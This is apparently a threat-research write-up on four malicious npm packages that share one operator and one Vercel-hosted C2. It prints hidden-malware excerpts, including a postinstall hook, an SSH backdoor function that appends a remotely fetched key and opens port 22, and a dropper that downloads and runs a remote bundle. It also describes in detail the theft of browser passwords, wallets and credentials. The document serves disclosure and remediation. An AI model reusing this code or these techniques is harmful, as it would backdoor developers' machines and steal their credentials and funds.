ts-ankle is not a real package. The name has no meaning, no README, and no legitimate purpose. What it does have is a postinstall hook that runs test.js, a home-directory crawler that sends credential files to https://datasecure-service[.]vercel.app/api/v1, and an SSH backdoor that fetches the operator’s public key from the same host and appends it to ~/.ssh/authorized_keys. On Linux it then runs sudo ufw enable and sudo ufw allow 22/tcp to ensure the door stays open.
The OSV advisory flagged ts-ankle on June 27, 2026. Pivoting the publisher account me.lvin.go.mez.6.4.0 recovered three sibling packages published on the same day from the same account. One of them, ts-einkle, carries the actual payload: a 600-line cross-platform infostealer with 17 independent collection modules. Another, polymarket-clob-math, is a lure for crypto traders that downloads and executes the ts-einkle payload remotely on install. The fourth, ts-einkle-slot, is a clone of the legitimate big.js arbitrary-precision math library with ts-ankle injected as a dependency.
Package Inventory
| Package | Versions | Role | Published |
|---|---|---|---|
ts-ankle | 1.1.0 | Install-time dropper: credential file harvest + SSH backdoor | 2026-06-27T16:23Z |
ts-einkle | 1.0.9, 1.1.0, 1.1.2, 1.1.3 | Core infostealer payload (17 modules) | 2026-06-26T08:58Z to 16:02Z |
ts-einkle-slot | 0.0.8 through 0.1.2 | big.js clone with ts-ankle as a dependency (v0.1.2) | 2026-06-26T09:00Z |
polymarket-clob-math | 1.0.4 | Polymarket impersonator: remote dropper fetching ts-einkle | 2026-06-27T17:20Z |
The operator published four versions of ts-einkle across a single seven-hour window, the first at 08:58 UTC on June 26 and the last at 16:02 UTC on June 27. Each iteration grew the module count and capability scope. ts-ankle appeared at 16:23 UTC on June 27 -- 21 minutes after the final ts-einkle release -- and polymarket-clob-math at 17:20 UTC, completing the cluster in under two hours.
ts-ankle: The Entry Point
Three files, 15 KB unpacked. package.json declares a postinstall hook pointing at test.js. index.js is the credential file collector. test.js is the runner.
{
"scripts": {
"test": "node test.js",
"postinstall": "node test.js"
},
"dependencies": {
"axios": "^1.7.0",
"child_process": "^1.0.2",
"form-data": "^4.0.0",
"os": "^0.1.2"
}
}The declared dependencies (axios, form-data, os, child_process) are the only legitimate packages in the cluster. The name child_process appearing as an npm dependency is itself a red flag: child_process is a Node.js built-in and does not exist as a separate npm package.
index.js contains two execution paths triggered sequentially by test.js. The first scans the current working directory for files matching credential patterns and uploads them. The second fetches three things from the C2 at install time: an SSH public key, a scan-pattern list, and a block-pattern list. It then performs a full filesystem scan, uploads matching files in 4 MB batches, and -- on Linux -- appends the fetched key to ~/.ssh/authorized_keys.
function addSshKeyToUser(sshKey) {
if (!sshKey || !sshKey.trim()) return false;
const home = process.env.HOME || os.homedir();
const sshDir = path.join(home, ".ssh");
if (!fs.existsSync(sshDir)) {
fs.mkdirSync(sshDir, { mode: 0o700, recursive: true });
}
const authKeys = path.join(sshDir, "authorized_keys");
if (fs.existsSync(authKeys)) {
const existingKeys = fs.readFileSync(authKeys, "utf8");
if (existingKeys.includes(sshKey)) { return true; }
}
fs.appendFileSync(authKeys, `${sshKey}\n`, { mode: 0o600 });
execSync(`sudo chown -R ${username}:${username} ${sshDir}`);
execSync("sudo ufw enable", { stdio: "inherit" });
execSync("sudo ufw allow 22/tcp", { stdio: "inherit" });
return true;
}The key is fetched from https://datasecure-service[.]vercel.app/api/ssh-key, which returns a JSON object {"msg": "<public key>"}. The scan patterns and block patterns are fetched from /api/scan-patterns and /api/block-patterns respectively, allowing the operator to update collection targeting without republishing the package. Files collected in the first pass match the LOCAL_PATTERNS list: id.json, config.toml, Config.toml, config.json, .env, .env.example. Files collected in the wider filesystem scan match whatever the operator’s current pattern list returns.
The upload endpoint is https://datasecure-service[.]vercel.app/api/v1. Each batch is sent as a multipart form POST with a username field prepended by the hardcoded tag piterpan -- recovered from the DEFAULT_USERNAME_TAG constant in index.js -- and the machine’s OS username. The tag piterpan is the operator’s self-identification string embedded in every upload to the C2.
The C2 domain datasecure-service.vercel.app was not found in the OSSF malicious-packages GitHub repository, the kmsec.uk DPRK feed, Socket.dev, or VirusTotal at the time of analysis. This is a previously undocumented C2.
ts-einkle: The Payload
ts-einkle v1.1.3 is the iteration the operator published 21 minutes before ts-ankle. At 87 KB unpacked across five files, it is six times larger than the final prior version. The core is peer-math.js, a 600-line cross-platform infostealer that the operator internally names psm-peer-bundle (from the stage2-package.json file recovered from the tarball). scripts/pack-stage2.cjs is a packaging script that builds the psm-peer.tgz bundle the polymarket-clob-math dropper fetches at install time.
The C2 endpoint in peer-math.js is the same https://datasecure-service[.]vercel.app/api/v1. The operator tag is the same piterpan. The functional difference from ts-ankle is scope: where ts-ankle does one file harvest pass and one SSH key injection, ts-einkle v1.1.3 runs a full session via syncSession() that calls three distinct collection pipelines in sequence.
async function syncSession(usernameTag) {
if (process.env.PSM_RAN === "1") return;
process.env.PSM_RAN = "1";
setUsernameTag(usernameTag);
await packProjectBundle(false);
await packWalletsAndCreds(false);
await packDeepScan(false);
}The PSM_RAN guard prevents the payload from executing twice in the same Node.js process -- a standard deduplication pattern.
packProjectBundle collects sensitive files from the project root (INIT_CWD or npm_config_local_prefix), reads shell history from bash, zsh, fish, and PowerShell on all platforms, captures a clipboard snapshot, and scrapes source code files for embedded private keys and mnemonics. The dev secret scraper uses eleven regex patterns targeting EVM private keys, Solana key arrays, BIP39 mnemonic phrases, Hardhat/Foundry mnemonics, AWS secret access keys, and npm, GitHub, and PyPI tokens.
packWalletsAndCreds targets browser wallet extensions in Chrome, Edge, Brave, and Firefox. Eight wallet extensions are targeted by extension ID: MetaMask (nkbihfbeogaeaoehlefnkodbefgpgknn), Phantom (bfnaelmomeimhlpmgjnjophhpkkoljpa), Solflare, OKX, Coinbase, Trust Wallet, Backpack, and TronLink. On Windows, the browser Login Data SQLite database is copied to a temp path, opened with sql.js, and the logins table is queried. The AES-256-GCM master key is decrypted via a PowerShell DPAPI call (ProtectedData.Unprotect()). Decrypted credentials are written to a browser-passwords.txt file and uploaded.
The same pipeline also collects SSH keys from ~/.ssh, AWS credentials from ~/.aws, GPG keys from ~/.gnupg, .git-credentials, the GitHub CLI token at ~/.config/gh/hosts.yml, .npmrc, .pypirc, and ~/.docker/config.json. Exodus and Electrum desktop wallet files are targeted by known platform paths. Bitwarden’s data.json and KeePass .kdbx files from Documents and Desktop are also collected.
packDeepScan performs a platform-wide filesystem sweep using the same sensitive-file detection rules, then additionally targets Telegram Desktop tdata directories (Windows and macOS), Windows Sticky Notes (plum.sqlite), Notion’s app data directory, OneNote local data, and a broader clipboard monitor window.
A run-once marker file at /tmp/data-backup-upload-tdata.sent and /tmp/data-backup-upload-wallets.sent prevents the Telegram and wallet uploads from repeating if the package is installed multiple times or updated.
The operator tag piterpan propagates into the username field of every upload. The meta object accompanying each batch identifies which collection pipeline produced it (pack: "project", pack: "wallets", pack: "deep"), enabling the operator to triage incoming data at the C2 by collection stage.
ts-einkle Version Timeline
| Version | Published (UTC) | Unpacked size | Notes |
|---|---|---|---|
| 1.0.9 | 2026-06-26T08:58Z | 14 KB | Initial release; basic credential file harvest only; same deps as ts-ankle |
| 1.1.0 | 2026-06-27T08:06Z | 14 KB | Minor iteration; no significant size change |
| 1.1.2 | 2026-06-27T09:24Z | 15 KB | Size increase; additional collection logic added |
| 1.1.3 | 2026-06-27T16:02Z | 87 KB | Major expansion: peer-math.js added; 17 collection modules; pack-stage2.cjs for bundle delivery; sql.js dependency for browser Login Data |
The jump from 15 KB to 87 KB between v1.1.2 and v1.1.3 is the introduction of the full syncSession architecture. The operator was actively developing the payload in real time and published the production-ready bundle 21 minutes before ts-ankle appeared.
polymarket-clob-math: Remote Dropper
polymarket-clob-math impersonates a Polymarket prediction market staking utility. Its index.js exposes computeKellyStake, formatStakeUsd, and roundStake -- three legitimate-sounding functions backed by a real kelly.js file that computes Kelly criterion stake sizes. A developer installing this to use in a trading bot or backtester gets working math utilities. The malware runs silently during npm install.
The homepage field in package.json is set to https://datasecure-service[.]vercel.app/config/clob-math.json. This is the C2 configuration endpoint. The postinstall script runs scripts/install-check.cjs, which reads the homepage field, fetches the JSON at that URL, extracts the peerBundle field (a URL pointing to the psm-peer.tgz bundle), downloads the tarball, extracts it to a hidden .peer directory, runs npm install inside it to resolve dependencies including sql.js, and then calls syncSession().
async function main() {
const bundleUrl = await resolvePeerBundleUrl(); // reads homepage → fetches config → returns .tgz URL
const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'psm-sync-'));
const tgzPath = path.join(tmp, 'peer-bundle.tgz');
await fetchToFile(bundleUrl, tgzPath); // downloads psm-peer.tgz
extractPeerBundle(tgzPath); // extracts to .peer/, runs npm install
await runPeerSync(); // calls syncSession() from peer-math.js
}The indirection matters. polymarket-clob-math itself contains no credential-stealing code. Static analysis of the package without running the C2 config fetch returns a working math library with a suspicious homepage. The full payload only materialises when the operator’s Vercel endpoint is live and serving the bundle URL. VirusTotal analysis of install-check.cjs at the time of publishing returned 0/66 engine detections.
ts-einkle-slot: Dependency Vector
ts-einkle-slot v0.0.8 through v0.1.1 depends on ts-einkle. Version v0.1.2 -- published the same day as ts-ankle -- switches the dependency to ts-ankle. The package itself is a verbatim copy of big.js v7.0.1, a legitimate arbitrary-precision arithmetic library with 61 million weekly downloads. Repository metadata in package.json points at github.com/MikeMcl/big.js, the real big.js repository. Anyone installing ts-einkle-slot believing it to be a big.js fork or variant installs ts-ankle as a transitive dependency.
C2 and Infrastructure
All four packages route to https://datasecure-service[.]vercel.app. The domain is operator-controlled, hosted on Vercel’s serverless platform. Three endpoints are active: /api/v1 (upload), /api/ssh-key (SSH key delivery), and /api/scan-patterns / /api/block-patterns (dynamic retargeting). A fourth endpoint /config/clob-math.json serves the bundle URL consumed by polymarket-clob-math.
The use of Vercel for C2 infrastructure is consistent with the jsonspack / chai-as-* cluster documented by Panther in April 2026, where server-check-genimi.vercel.app served payloads to the Vercel delivery cluster. The pattern -- legitimate cloud platform hosting malicious API endpoints with professional-looking domains -- makes URL-based blocking ineffective without breaking legitimate Vercel traffic.
The operator tag piterpan was searched across the OSSF malicious-packages GitHub repository, the kmsec.uk DPRK feed, Socket.dev, VirusTotal, and the npm registry search API. No prior attribution was found. The datasecure-service.vercel.app domain likewise returned no results in any of these sources. Attribution beyond the operator’s self-chosen tag is unknown.
OPSEC Failures
Three mistakes in the cluster are worth naming.
First, the DEFAULT_USERNAME_TAG = "piterpan" constant is a plaintext self-identification string embedded in index.js and peer-math.js. Every upload to the C2 carries this tag in the username field. The operator can filter incoming data by tag at the C2, but the same tag identifies them across packages.
Second, the stage2-package.json file in ts-einkle v1.1.3 declares the internal package name psm-peer-bundle and lists sql.js as a dependency -- a slip that reveals the operator’s internal naming convention and staging workflow before the bundle reaches its final delivery endpoint.
Third, the polymarket-clob-math package sets the C2 config URL as the homepage field in package.json. This field is publicly indexed by the npm registry and is the first thing any security scanner inspects. Any tool checking whether a package’s homepage is an attacker-controlled Vercel endpoint immediately surfaces the C2.
IOC Table
| Type | Value | Method |
|---|---|---|
| C2 endpoint | https://datasecure-service[.]vercel.app/api/v1 | Extracted from DEFAULT_API_BASE constant in ts-ankle/index.js and ts-einkle/peer-math.js |
| C2 endpoint | https://datasecure-service[.]vercel.app/api/ssh-key | Extracted from from_str_2() in ts-ankle/index.js |
| C2 endpoint | https://datasecure-service[.]vercel.app/api/scan-patterns | Extracted from from_str_2() in ts-ankle/index.js |
| C2 endpoint | https://datasecure-service[.]vercel.app/api/block-patterns | Extracted from from_str_2() in ts-ankle/index.js |
| C2 endpoint | https://datasecure-service[.]vercel.app/config/clob-math.json | Extracted from homepage field in polymarket-clob-math/package.json |
| Operator tag | piterpan | Extracted from DEFAULT_USERNAME_TAG constant in ts-ankle/index.js and peer-math.js |
| File path | ~/.ssh/authorized_keys | Written by addSshKeyToUser() in ts-ankle/index.js |
| Temp path pattern | /tmp/psm-sync-* | Created by polymarket-clob-math/install-check.cjs during bundle fetch |
| Temp path pattern | /tmp/data-backup-upload-tdata.sent | Marker file written by ts-einkle/peer-math.js after Telegram tdata upload |
| Temp path pattern | /tmp/data-backup-upload-wallets.sent | Marker file written by ts-einkle/peer-math.js after wallet upload |
| Process indicator | sudo ufw enable spawned during npm install | Spawned by addSshKeyToUser() on Linux; anomalous for any npm package install |
| Internal package name | psm-peer-bundle | Extracted from ts-einkle/stage2-package.json; operator’s internal staging name |
| Publisher account | me.lvin.go.mez.6.4.0 / me.lvin.go.mez.6.4.0@gmail.com | Extracted from npm registry metadata for all four packages |
Affected Versions Table
| Package | Version | Tarball SHA-256 | Status | OSV |
|---|---|---|---|---|
ts-ankle | 1.1.0 | 1140b620dca64c9fab9220e4e2b0673e907eb3ee8ac23c57ae367c2e1908ea29 | Unpublished | MAL-2026-6548 |
ts-einkle | 1.0.9 | (tarball live at analysis) | Live | No advisory at time of writing |
ts-einkle | 1.1.0 | (tarball live at analysis) | Live | No advisory at time of writing |
ts-einkle | 1.1.2 | (tarball live at analysis) | Live | No advisory at time of writing |
ts-einkle | 1.1.3 | 8cc18c53a6fd79511f90451c763b907c6976c27c7ae7b42ef15dadafb7d53e7f | Live | No advisory at time of writing |
ts-einkle-slot | 0.0.8 to 0.1.1 | (depend on ts-einkle) | Live | No advisory at time of writing |
ts-einkle-slot | 0.1.2 | 593ebe34821f85e54b7629b0486dce77255f6e34c625bcf6f07c13d360fc50e6 | Live | No advisory at time of writing |
polymarket-clob-math | 1.0.4 | 0604ddc9c1ea22b40fd1f844f5a6590660d694b9ba218ffca13dd30d18bfa9f3 | Live | No advisory at time of writing |
ts-ankle v1.1.0 is the only package with an OSV entry. All three sibling packages remain live on npm with no security advisories as of this post.
Remediation
Any system that installed ts-ankle, ts-einkle, any version of ts-einkle-slot, or polymarket-clob-math should be treated as fully compromised.
On Linux: inspect ~/.ssh/authorized_keys immediately for keys not placed there by you. Remove any unrecognized entries. Check ufw rules for unexpected port 22 allow entries. Rotate or regenerate SSH keypairs from a clean machine.
Rotate all credentials the machine could have reached: browser-stored passwords across Chrome, Brave, and Edge; all crypto wallet seed phrases and private keys for MetaMask, Phantom, Solflare, OKX, Coinbase, Trust Wallet, Backpack, and TronLink; AWS access keys and secrets; npm tokens; GitHub personal access tokens; the GitHub CLI token at ~/.config/gh/hosts.yml; .npmrc auth tokens; .pypirc credentials; Docker registry credentials; and any private keys or mnemonics in .env files, Hardhat or Foundry config files, or Solana keypair JSON files.
On Windows and macOS: treat Telegram Desktop session data as compromised if the Telegram app was installed and the machine was affected. Check Bitwarden data.json and KeePass vault files for signs of exfiltration.
Check ~/.ssh directory ownership. The payload runs sudo chown -R <username>:<username> ~/.ssh -- an unexpected change in SSH directory ownership is a confirmation indicator on systems where it is monitored.
Identify these packages in package.json, package-lock.json, or yarn.lock files across your repositories and CI environments. The ts-einkle-slot packages are the most likely to have been installed as an apparent alternative to the legitimate big.js, particularly in trading or prediction market tooling contexts.
